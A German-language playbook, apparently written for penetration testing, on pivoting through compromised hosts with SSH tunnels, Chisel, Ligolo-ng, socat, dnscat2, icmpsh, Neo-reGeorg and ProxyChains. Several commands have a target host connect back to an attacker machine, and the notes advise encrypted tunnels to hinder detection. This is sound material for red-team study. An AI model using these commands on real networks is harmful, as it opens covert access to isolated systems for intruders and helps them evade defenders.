Was macht Tunnel-und-Pivot-Spielbuch?
Tunnel- und Pivot-Spielbuch. Verwenden Sie es beim Aufbau von Netzwerktunneln durch kompromittierte Hosts, einschließlich SSH-Tunneling, Chisel, Ligolo-ng, socat, DNS/ICMP/HTTP-Tunneling, ProxyChains und mehrschichtige Pivot-Strategien.
Überblick
Dieses Spielbuch beschreibt Methoden zum Aufbau von Netzwerktunneln durch kompromittierte Hosts, um auf isolierte Netzwerke zuzugreifen oder Datenverkehr umzuleiten. Es behandelt folgende Techniken:
- SSH-Tunneling (Lokal, Remote, Dynamisch)
- Chisel (HTTP-Tunnel mit SOCKS-Proxy)
- Ligolo-ng (Layer-2/Layer-3-Tunneling)
- socat (Bidirektionale Datenweiterleitung)
- DNS/ICMP/HTTP-Tunneling (z.B. dnscat2, icmpsh, Neo-reGeorg)
- ProxyChains (Weiterleitung von Traffic durch SOCKS-Proxies)
- Mehrschichtige Pivots (Weiterleitung über mehrere Hosts hinweg)
SSH-Tunneling
Lokales SSH-Tunneling
Leitet einen lokalen Port an einen entfernten Port weiter:
ssh -L <local_port>:<remote_host>:<remote_port> <user>@<ssh_server>
Beispiel: Weiterleitung von Port 3389 (RDP) auf einem entfernten Server durch einen SSH-Server:
ssh -L 3389:<remote_host>:3389 user@ssh_server
Remote-SSH-Tunneling
Leitet einen entfernten Port an einen lokalen Port weiter:
ssh -R <remote_port>:<local_host>:<local_port> <user>@<ssh_server>
Beispiel: Öffnen eines Fernzugriffs auf einen lokalen Dienst hinter NAT:
ssh -R 8080:localhost:80 user@public_server
Dynamisches SSH-Tunneling (SOCKS-Proxy)
Erstellt einen SOCKS-Proxy auf dem lokalen Rechner:
ssh -D <local_socks_port> <user>@<ssh_server>
Beispiel: SOCKS-Proxy auf Port 9050:
ssh -D 9050 user@ssh_server
Chisel
Chisel ist ein schneller TCP/UDP-Tunnel, der über HTTP transportiert wird und einen SOCKS-Proxy bereitstellt.
Client (Zielhost)
chisel client <chisel_server>:<port> socks
Server (Angreifer)
chisel server -p <port> --reverse
Beispiel:
Server auf Port 8000 starten:
chisel server -p 8000 --reverse
Client mit Server verbinden:
chisel client 192.168.1.100:8000 socks
Ligolo-ng
Ligolo-ng ist ein einfaches, leichtgewichtiges Tool zum Aufbau von Tunneln unter Verwendung von TUN/TAP-Schnittstellen.
Angreifer (Proxy)
./proxy -selfcert
Auf dem Agenten (Zielhost):
./agent -connect <attacker_ip>:<port> -ignorecert
Sobald die Verbindung hergestellt ist, erstellen Sie im Proxy eine Tunnel-Schnittstelle:
session_start
ifconfig
socat
socat ist ein Kommandozeilenwerkzeug, das zwei bidirektionale Datenströme verbindet.
TCP-Weiterleitung
socat TCP-LISTEN:<local_port>,reuseaddr,fork TCP:<remote_host>:<remote_port>
Beispiel: Weiterleitung von Port 4444 an einen anderen Host
socat TCP-LISTEN:4444,reuseaddr,fork TCP:10.0.0.1:3389
DNS/ICMP/HTTP-Tunneling
DNS-Tunneling (dnscat2)
Server (Angreifer):
ruby dnscat2.rb --dns host=<domain>,port=53
Client (Zielhost):
./dnscat2 <domain>
ICMP-Tunneling (icmpsh)
Server (Angreifer):
python icmpsh_m.py <attacker_ip> <victim_ip>
Client (Zielhost):
icmpsh.exe -t <attacker_ip>
HTTP-Tunneling (Neo-reGeorg)
Server (Angreifer):
python neoreg.py -k <password> -u http://target/tunnel.php
Client (Zielhost):
tunnel.php (auf dem Ziel bereitstellen)
ProxyChains
ProxyChains leitet den gesamten Netzwerkverkehr eines Programms durch einen SOCKS-Proxy.
Konfiguration (/etc/proxychains.conf)
[ProxyList]
socks4 127.0.0.1 9050
Verwendung
proxychains nmap -sT -Pn 10.0.0.1
Mehrschichtige Pivots
Manchmal ist es notwendig, über mehrere Hosts zu pivotieren (mehrschichtige Pivots).
Beispiel: Pivot über zwei Hosts
- Erstellen Sie mit SSH einen SOCKS-Tunnel zu Host A.
- Verwenden Sie ProxyChains, um sich mit Host B zu verbinden.
- Erstellen Sie auf Host B einen weiteren Tunnel zu Host C.
# Lokaler SOCKS-Proxy zu Host A
ssh -D 9050 user@host_a
# Verbinden zu Host B über ProxyChains
proxychains ssh user@host_b
# Von Host B aus zu Host C
ssh user@host_c
Hinweise
- Stellen Sie sicher, dass die verwendeten Tools auf dem Zielsystem verfügbar sind (gegebenenfalls übertragen).
- Achten Sie auf Firewall-Regeln, die bestimmte Protokolle blockieren könnten.
- Verwenden Sie nach Möglichkeit verschlüsselte Tunnel (SSH, Chisel), um die Erkennung zu erschweren.